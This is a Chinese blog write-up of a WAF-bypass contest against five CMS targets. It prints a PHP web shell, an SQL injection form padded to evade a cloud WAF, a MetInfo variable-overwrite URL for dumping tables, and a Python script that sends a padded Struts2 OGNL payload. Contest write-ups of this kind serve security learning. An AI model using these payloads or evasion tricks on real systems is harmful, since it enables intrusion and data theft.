【干货】记一次WAF对抗赛详解全方位绕过WAF

2023-10-14 00:30

本文主要是介绍【干货】记一次WAF对抗赛详解全方位绕过WAF,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

0x01 preview

上个星期参加了某巨头厂商承办的挑战赛,比赛周期48小时,题目是成功渗透在安全宝保护下的五个通用cms靶场,其中包括论坛、商城、资源网站等
从靶场布置来看很明显是在测试安全宝对于几种不同类型cms的对攻击的防御能力。

这样的比赛模式区别于常见的CTF线上模式稍有不同,实战味道较强。常规的CTF在Web题目上面主要考察的是漏洞挖掘和利用,难点一般凸显在发现难和利用 难而此次靶场中的环境在网上都能找到相关公开漏洞,利用方式较简单,但是我对抗的目标不是存在漏洞的web应用,而是对其起保护作用的WAF

0x02 浅析云waf

抱歉,这里一个实战经验极乏、安全资历尚浅初涉小白在这里浅析WAF机制,实在是难于弄笔。这里主要参考(抄袭)Drops上 MayIKissYou 大牛之前总结的《Bypass WAF Cookbook》

这是直接盗的图,与对手博弈,我们首先得知道我们得对手处于我们数据流的哪一环节。
MayIKissYou 这里将我们进行测试时的payload从发起到抵达服务器参与运算的整个周期拓扑图画了出来。
可知,waf主要是针对我们传输的数据进行了检测。这就导致 我们的payload既要满足触发web应用本身漏洞的条件,也要具备同事绕过waf检测和web应用本身一些安全检测的能力。
web应用层面的安全检测我们大多都还能有所了解,包括关键字的检测,过滤,正则匹配等等。在绕过上之前也有相当多的资料,这里我们主要就此次比赛的一些体会简单谈谈我对waf相较于web应用本身安全机制的一些优势。
web应用本身的安全检测对恶意输入的检测效能远远不及waf,从功能划分的角度来说,web应用的主要工作是处理用户输入的数据,为了本身的安全 性可以针对用户的输入进行一定的成本较低的检测,保证用户使用的友好性,尤其是在大型数据系统中,没时刻处理的数据量极大,对于web应用本身是不可能花 太大的精力对数据进行较为完整的检测。
但是我认为web应用本身有一个很好的特点就是可以针对相应参数的作用进行白名单形式的限制,进行有针对性的过滤。 但是waf若能很好地拦截下恶意攻击,web应用就能把资源花在处理正常请求上对于web应用的运行再好不过。
云waf给人带来的直观感受是其极强的感知能力,对手活了起来,见招拆招。传统安全设备受限于单机计算资源,主要采取的工作模式是基于特征匹配的过 滤。云资源让waf具备了人工智能的特征,充分利用云计算信息同步,计算能力强大的特点,运用大数据分析,机器学习等思想到waf中,waf具备了一定的 学习分析能力,攻击成本明显提高不少。对抗这样的对手,不得不说是人灵活的思想在和计算机的计算进行对抗。

0x03 题目解析

当然,这次比赛到没上面说的那么玄乎,但是依稀能感觉到在未来攻防会是数据、计算、智能的对抗。
这次比赛是五个靶场,每个靶场都有两个flag,一个位于服务器目录,一个位于数据库中。集中测试对于命令代码执行和sql命令的防御。
五道题的攻击思想基本大同小异,皆是抓住了目前云waf的防御劣势进行的绕过。下面我们来看具体详情。



3.1:dedecms
dedecms这道题的解决思路是通过后台弱口令,获取后台权限,再通过file_manage_main.php这处文件管理模块,生成了畸形可解析的pht扩展名脚本,在里面写入了代码:


1
2
3
4
<?php[/color]
[color=#000000]system(@_POST[cmd]);[/color]
[color=#000000]?>[/color]
[color=#000000]

通过pwd,ls,grep,cat等指令进行的flag.txt获取。现在看似思路简单,但是当时还是绕了好一会。
回想我们上面提到的云waf检测在payload发出到服务器上相应内存注销的整个生命周期的位置,我们可知,其分析行为主要是对我们流量数据的检测,而不是服务器上行为的检测。那么我们提交的参数要满足的条件就是在特征模式识别下“不敏感”,在能实现我们功能要求的情况下尽量短小和平常,计算上面的任务尽量交给服务器。
在这里我们可以发现若是使用一句话菜刀会连不上,sql语句注入也会被拦截,都是因为这样的payload特征明显,特征明显容易被拦截。所以这里采用的system()结合pwd,ls,grep,cat等对于flag文件查找方便的函数和命令,把更多的计算直接交给服务器。

file_manage_main.php界面

拿到文件flag之后想办法拿数据库的flag,这里的想法是读config文件,可是直接用文件管理模块读取不了,现在一想不一定是权限问题,若是我作为waf设计者,会对访问config.php文件相当警惕,因为这是很危险且不正常的行为,所以采取的措施是将其扩展名改为txt直接访问查看,这样敏感度低了不少,拿到数据库信息之后,通过adminer.php连接管理数据库拿到数据库中的flag。
一开始其实计划是使用navicat,加他的中转php脚本实现本地对内网数据库的访问。但是在上传脚本之后,本地连接能连接上但是执行指令很困难。这也在预料之后,因为我们所用通过http过去的数据都会经过云waf,所以我采用了上传adminer.php,在这个工具下发起的请求是由服务器本机发起的,不会经过云waf,故而未被拦截。
当然在这之前我们已经通过文件管理模块将adminer.php的代码写入了其中。
这道题主要的突破点还是在于管理的疏忽弱口令,或者说是数据爆破,和利用web应用本身的功能,上传adminer.php这样的工具,让流量从服务器本地发起,不经云waf的检测。



3.2:phpoa
这道题是分值最低的一道题,因此成了对抗赛CTF中常见的搅屎现象最恶劣的一道题。是的,依稀记得当时正准备写另一份内网渗透报告,做得相当心疼。
存在的漏洞是一个任意文件上传

利用方法是本地构造一表单

1
2
3
4
5
6
7
8
9
10
11
12
13
< html >
< head ></ head >
< body >
         < form  action = "http://localhost/phpoa/ntko/upLoadOfficeFile.php"  method = "post"  enctype = "multipart/form-data" >
  
                 < input  type = "file"  name = "upLoadFile" >< br />
  
                 < input  type = "file"  name = "attachFile" >< br />
  
                 < input  type = "submit"  value = "submit" >
         </ form >
</ body >
</ html >
将action参数进行修改之后按照wooyun那篇文章的步骤遍可以进行上传,获得Webshell。
但是再这样的一个实时对抗的马场上,控守倒是变得比较困难。 一般我们在线下CTF中控守,一般使用内存驻留的木马,和计划任务等进行控守,避免文件被杀之后失去控制权。

不过这个靶场有一个特点是禁用了很多php函数,期初上传了一个b374k上去之后发现登录都成问题。遂放弃使用php来执行功能,朴朴素素上传

1
2
3
<?php
system( $_POST [cmd]);
?>

通过系统命令来实现我们的功能。控守策略,由于发现服务器端搅屎脚本貌似效率不高,我们上传的后门存活时间有几秒左右,决定使用资源竞争的方法,不停地想服务器发送同样的数据包,文件被删之后立马就能补充上,不影响正常操作。

通过burpsuite多线程对服务器发送同一包,维持Webshell的生命

(自己yy的重复发包方法,后来发现有专门的选项。非常尴尬!)
这道题利用简单,主要是搅屎的比较多,需要一些策略。存在的一种思想是计算资源的对抗。


3.3:mallbuilder

这个cms一堆sql注入漏洞,布尔盲注较多,若要取出flag势必要构造select column from database.tables这样的语句,这样的语句穿透防火墙难度实在太大了,中间试了很多绕过方法都没通过。
当然传过去的参数进入了云waf的检测目标能通过的概率极低。陈羽森老师在15年阿里峰会上《永别了sql注入》中就提到,检测机制采用机器学习、语义分析思想来对参数进行检测,在这样的模式下对云waf进行绕过,远非之前针对规则的绕过难。云waf的计算能力远超老式单机防火墙。
我们的突破思路在于如何让我们的参数不要成为云waf的检测目标。这里我们采用的是,form-data的post提交方式,我们找到了一个POST的注入点,使用form-data的方式进行参数提交。这样便轻松地参数避免了检测,轻松注入。
为什么form post提交能避开检测呢?其实我对这一块了解也不深,但是就一般而言,Form-data通常用来提交文件,文件大小不一,格式不定,若是对这样的请求进行大力度的检测,虽然云计算的计算能力强,但这也是对计算资源的极大消耗,而且不同的文件结构,对于waf来说识别困难按格式分析危害更是难上加难。所以这种方式提交的参数,即使检测,检测的级别也不会太高。
所以通过form post的方法提交参数,并且在其中混入大量无影响的花数据,对抗云waf起的效果相当好。

Exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>  
< html >  
< head >  
         < meta  http-equiv = "Content-Type"  content = "text/html; charset=UTF-8"  />  
         < title >yzmm - p2j.cn</ title >  </ head >  
         < body >      
                 < form  action = "http://mall.anquanbao.com.cn/cate_show_ajax.php?oper=ajax&call=get_cate"  method = "POST"  enctype = "multipart/form-data" >          
                         funck:< input  type = "text"  name = "fuck"  value = "adsfadsfasdfksadfhadsjkfhkdsahfkdsahfkadshfkdsahfkjdsahfkjasdhfkajsdhfkajshfkadsfhkadshfakdsfhkdasfhkashfdkadsfhkadsfhkdasfhkdasfhakfh"  />< br />         
                         ID:< input  type = "text"  name = "catid"  value = "12313213131313113) and  EXP(~(SELECT*FROM(SElect name FROM mallbuilder_admin limit 1,1)a))#"  style = "width:250px;"  / >< br />           
                         < input  type = "submit"  value = "sub"  />      
                 </ form >  
         </ body >  
</ html >

这里可注入拿到后台密码,和数据库的flag,后面是发现的后台一处命令执行拿的文件权限。漏洞网上未公开,这里就不详细公开。


3.4:MetInfo
这里这处注入,确实奇葩,也是源于该处功能的奇葩,代码审计一下。
admin/content/feedback/export.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php[/color]
  
[color=#000000]# MetInfo Enterprise Content Management System [/color]
  
[color=#000000]# Copyright (C) MetInfo Co.,Ltd (http: //**.**.**.**). All rights reserved. [/color]
  
[color=#000000]        ob_start();[/color]
  
[color=#000000]         $depth = '../' ;[/color]
  
[color=#000000]         require_once  $depth . '../include/common.inc.php' ;[/color]
  
[color=#000000]        ob_clean();[/color]
  
[color=#000000]        ob_start();

未进行login检查

1
2
3
4
5
6
7
8
9
10
11
foreach ( $settings_arr  as  $key => $val ){
  
                 if ( $val [ 'columnid' ]== $class1 ){
  
                         $tingname     = $val [ 'name' ]. '_' . $val [ 'columnid' ];   
  
                         $ $val [ 'name' ]=$ $tingname ;
  
                 }
  
         }

此处可通过val[‘name’]进行变量覆盖,覆盖的值,可以通过对$tingname的值在url中进行定义任意构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
$query
  
"SELECT * FROM $met_parameter where module=8 and lang='$lang' order by no_order"
  
          
//>>>>注意,$met_parameter是在$settings_arr后被初始化的,不能直接覆盖,但是可以结合上面的危险操作,进行覆盖<<<<
  
         
//print $query.'<br>';
  
         
//die();
  
         
$result
  
$db
->query(
$query
);
  
         
while
(
$list
$db
->fetch_array(
$result
)){
  
                 
/*
  
                 
print '<br><br>$list=';
  
                 
print_r($list);
  
                 
*/
  
                 
$feedbackpara
[
$list
[
'id'
]]=
$list
;  
// 注意这里的id
  
                 
$feedback_para
[]=
$list
;
  
         
}

这里结合上面 我们通过 "http://localhost/MetInfo/admin/content/feedback/export.php?met_parameter_1=met_admin_table -- ;&class1=1&settings_arr[0][columnid]=1&settings_arr[0][name]=met_parameter"  这样的payload便可以对任意表的id字段进行dump,我们修改met_admin_table为flag可dump出来

此处因为漏洞的原因,我们未提交带有明显攻击痕迹的payload,所以waf对于这样的逻辑类似的洞是无能为力的。
这题的文件flag未拿到,赛后同其他同学交流据说他们当时直接访问url/flag.txt便拿到了flag................非常尴尬

3.5:struts st2

用SSS安全论坛的st2检测工具直接检测出漏洞,但是想进一步进行命令执行太困难了。过不了waf,这里采用的思想同之前所说,通过post,增加混淆花数据,让服务器放弃检测。
获取命令执行paylaod的方法,一个是可以去网上搜集;另一个是通过逆向分析,从利用工具源码中逆向出paylaod,这里是用net写的,很容易便可以逆向出;还有就是用nc监听一个端口,然后用exp像监听的端口发送payload,亦可以捕获。
起初是在get中进行添加,但是发现waf会对url的长度进行检测,超长直接拦截。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#coding=utf-8
  
import  requests
import  sys
  
'' '
author:h *a * *v
'' '
if  (True):
     link  "http://xxxxx/xxx.action"
     #link = "http://127.0.0.1:8080"
     l=1
  
     #test mode
     data= '' 'method:%23_memberAccess%[url=mailto:3d@ognl.OgnlContext]3d@ognl.OgnlContext[/url]@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23path%3d%23req.getRealPath(%23parameters.pp[0]),%23w%3d%23res.getWriter(),%23w.print(%23parameters.web[0]),%23w.print(%23parameters.path[0]),%23w.print(%23path),1?%23xx:%23request.toString&pp=%2f&encoding=UTF-8&web=web&path=path%3a&test=' ''
     payload= "x" *10000
     data=data+payload
     proxies={ "http" : "http://127.0.0.1:8080" }
     #res=requests.post(link,data=data,proxies=proxies)
     res=requests.post( link ,data=data)
     print  res.content

以上代码说明方法,实际情况直接用上面代码打,服务器无法接收的 ,问题大家自己排除吧。


0x04 总结
上面几道过waf题的主要思想包括,通过混淆花数据消耗计算资源,减小交互功能数据量,和类似和“逻辑”漏洞的利用。主要是针对云waf设计特性的绕过,而非以往针对匹配规则进行混淆的绕过。由于水平尚浅不足之处欢迎指正,随意取笑。

这篇关于【干货】记一次WAF对抗赛详解全方位绕过WAF的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/206900

相关文章

十四、观察者模式与访问者模式详解

21.观察者模式 21.1.课程目标 1、 掌握观察者模式和访问者模式的应用场景。 2、 掌握观察者模式在具体业务场景中的应用。 3、 了解访问者模式的双分派。 4、 观察者模式和访问者模式的优、缺点。 21.2.内容定位 1、 有 Swing开发经验的人群更容易理解观察者模式。 2、 访问者模式被称为最复杂的设计模式。 21.3.观察者模式 观 察 者 模 式 ( Obser

【操作系统】信号Signal超详解|捕捉函数

🔥博客主页: 我要成为C++领域大神🎥系列专栏:【C++核心编程】 【计算机网络】 【Linux编程】 【操作系统】 ❤️感谢大家点赞👍收藏⭐评论✍️ 本博客致力于知识分享,与更多的人进行学习交流 ​ 如何触发信号 信号是Linux下的经典技术,一般操作系统利用信号杀死违规进程,典型进程干预手段,信号除了杀死进程外也可以挂起进程 kill -l 查看系统支持的信号

Jitter Injection详解

一、定义与作用 Jitter Injection,即抖动注入,是一种在通信系统中人为地添加抖动的技术。该技术通过在发送端对数据包进行延迟和抖动调整,以实现对整个通信系统的时延和抖动的控制。其主要作用包括: 改善传输质量:通过调整数据包的时延和抖动,可以有效地降低误码率,提高数据传输的可靠性。均衡网络负载:通过对不同的数据流进行不同程度的抖动注入,可以实现网络资源的合理分配,提高整体传输效率。增

Steam邮件推送内容有哪些?配置教程详解!

Steam邮件推送功能是否安全?如何个性化邮件推送内容? Steam作为全球最大的数字游戏分发平台之一,不仅提供了海量的游戏资源,还通过邮件推送为用户提供最新的游戏信息、促销活动和个性化推荐。AokSend将详细介绍Steam邮件推送的主要内容。 Steam邮件推送:促销优惠 每当平台举办大型促销活动,如夏季促销、冬季促销、黑色星期五等,用户都会收到邮件通知。这些邮件详细列出了打折游戏、

探索Elastic Search:强大的开源搜索引擎,详解及使用

🎬 鸽芷咕:个人主页  🔥 个人专栏: 《C++干货基地》《粉丝福利》 ⛺️生活的理想,就是为了理想的生活! 引入 全文搜索属于最常见的需求,开源的 Elasticsearch (以下简称 Elastic)是目前全文搜索引擎的首选,相信大家多多少少的都听说过它。它可以快速地储存、搜索和分析海量数据。就连维基百科、Stack Overflow、

剑指offer(C++)--数组中只出现一次的数字

题目 一个整型数组里除了两个数字之外,其他的数字都出现了两次。请写程序找出这两个只出现一次的数字。 class Solution {public:void FindNumsAppearOnce(vector<int> data,int* num1,int *num2) {int len = data.size();if(len<2)return;int one = 0;for(int i

剑指offer(C++)--第一个只出现一次的字符

题目 在一个字符串(0<=字符串长度<=10000,全部由字母组成)中找到第一个只出现一次的字符,并返回它的位置, 如果没有则返回 -1(需要区分大小写). class Solution {public:int FirstNotRepeatingChar(string str) {map<char, int> mp;for(int i = 0; i < str.size(); ++i)m

常用MQ消息中间件Kafka、ZeroMQ和RabbitMQ对比及RabbitMQ详解

1、概述   在现代的分布式系统和实时数据处理领域,消息中间件扮演着关键的角色,用于解决应用程序之间的通信和数据传递的挑战。在众多的消息中间件解决方案中,Kafka、ZeroMQ和RabbitMQ 是备受关注和广泛应用的代表性系统。它们各自具有独特的特点和优势,适用于不同的应用场景和需求。   Kafka 是一个高性能、可扩展的分布式消息队列系统,被设计用于处理大规模的数据流和实时数据传输。它

Linux中拷贝 cp命令中拷贝所有的写法详解

This text from: http://www.jb51.net/article/101641.htm 一、预备  cp就是拷贝,最简单的使用方式就是: cp oldfile newfile 但这样只能拷贝文件,不能拷贝目录,所以通常用: cp -r old/ new/ 那就会把old目录整个拷贝到new目录下。注意,不是把old目录里面的文件拷贝到new目录,

笔记-python之celery使用详解

Celery是一个用于处理异步任务的Python库,它允许你将任务分发到多个worker进行处理。以下是Celery的使用详解: 安装Celery 使用pip安装Celery: pip install celery 创建Celery实例 首先,需要创建一个Celery实例,指定broker(消息中间件)和backend(结果存储)。 from celery import Celeryap